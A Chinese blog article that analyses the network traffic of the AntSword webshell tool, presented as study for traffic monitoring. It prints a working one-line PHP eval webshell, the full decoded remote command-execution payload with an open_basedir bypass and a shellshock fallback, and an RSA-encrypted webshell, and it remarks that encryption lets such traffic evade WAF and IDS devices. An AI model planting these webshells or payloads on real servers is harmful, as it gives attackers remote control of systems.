我的编程空间,编程开发者的网络收藏夹
学习永远不晚

网络安全流量分析工具蚁剑详细介绍

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

网络安全流量分析工具蚁剑详细介绍

25号那一天,冰蝎恰好更新到了 4.0 版本,当时引得流量监控的老哥很紧张,告诉我要看好 IDS 警报。因为一旦 WebShell 攻破就有可能在内网采取行动。

然后引发我极大的好奇,决定活动结束后回去好好研究。

现在在家闲的没事,就先研究一下蚁剑吧,剩下的冰蝎、哥斯拉过几天研究。

1. 未加密流量形式

我们可以直接写一个简单的一句话木马

<?php 
    @eval($_POST[sa]);
?>

此时是没有进行流量加密的,我们上交到服务器,然后进行抓包

进行 URL 解码后,我们收到的是一段 PHP 代码(很长不想看的建议滑过去看后面的内容)

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        $tmdir = $item . "/.1b7683e8cb4";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        };
        @ini_set("open_basedir", " /");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out)
{
    return $out;
};
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "cdd3" . "7c35e";
    echo @asenc($output);
    echo "c9cb" . "8c28";
}
ob_start();
try {
    $p = base64_decode(substr($_POST["m0300de6257f67"], 2));
    $s = base64_decode(substr($_POST["k0252207ae80f4"], 2));
    $envstr = @base64_decode(substr($_POST["i6813797614ba8"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv(" PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv(" PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r = "{$p} {$c}";
    function fe($f)
    {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    };
    function runshellshock($d, $c)
    {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c>$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print($output);
                return True;
            }
        }
        return False;
    };
    function runcmd($c)
    {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join(" ", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    };
    $ret = @runcmd($r . " 2>&1");
    print ($ret != 0) ? "ret={$ret}" : "";;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

不要慌,虽然它很长

但是看缩进就会发现函数占绝大部分

代码的思路也很简单

在发送指令的时候,代码和指令是一块发过去的.

在上面的图中,我们可以看见除了代码,还有其他的 POST 指令也被传了过去,只不过是一堆无规则的字符

而这就值得关注了,可以发现是基于 Base64 编码的.

当然,直接解码依旧是会得到乱码

所以我们要去看源码

我们注意到这部分源码

    $p = base64_decode(substr($_POST["m0300de6257f67"], 2));
    $s = base64_decode(substr($_POST["k0252207ae80f4"], 2));
    $envstr = @base64_decode(substr($_POST["i6813797614ba8"], 2));

要从第三位开始,前面的两位作废

所以我们解码可以得到

文件路径和我刚才输进去的 whoami 指令

后面的 pwd 在 Linux 中是查看当前路径

其他的则意义不明,在返回的响应中,也有部分字符串

这些可以说是很容易被各种网安设备给识别出来

2. RSA 加密

那么我们看看警告 RSA 加密后的流量又能看出什么规律呢?

我们生成密钥后,用蚁剑给的 PHP 代码,作为 WebShell

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCQO/mlYt7jFDW6WxYBUequ/Wgv
Ecw3K9Jn618bPR0TBZ0PHk0gGYKNoysfqp38N7rr0eq38C8yXLYdi7wT+SUboHUZ
2y83XM0R3R5pM5NMe2pS7b5J6N0Ad1hSz1rYDhOO2FZ0Ilw0g9gtF+bkNNpPJLLf
Z7V8le4rSJWXc8ObewIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
eval($cmd);

3. Base64 加密

如果我们使用 Base64 编码呢?

然后我们对内容进行解码

可以说跟没加密的内容是大差不差的了

4. cHr 加密

再使用 cHr 编码呢?

5. 其他

其实还有 Rot13 ,除了 RSA 加密,这三种都有 eval 敏感函数,可以很容易被防火墙鉴别并阻挡

所以说好的加密方式是可以绕过 WAF 和 IDS 等网安设备。

到此这篇关于网络安全流量分析工具蚁剑详细介绍的文章就介绍到这了,更多相关网络安全蚁剑内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

网络安全流量分析工具蚁剑详细介绍

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

苹果电脑MacBook M1芯片安装SPSS(数据分析工具)教程详细介绍:保姆级教程!!!

首先声明此文章仅供帮助学习的朋友安装使用SPSS软件,不许用于任何商业性行为。 1.下载安装包部分2.MAC M1操作部分3.SPSS安装过程部分软件安装部分文件更换部分 4.SPSS软件功能调整部分感谢 特别强调:在安装过
2023-08-16

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录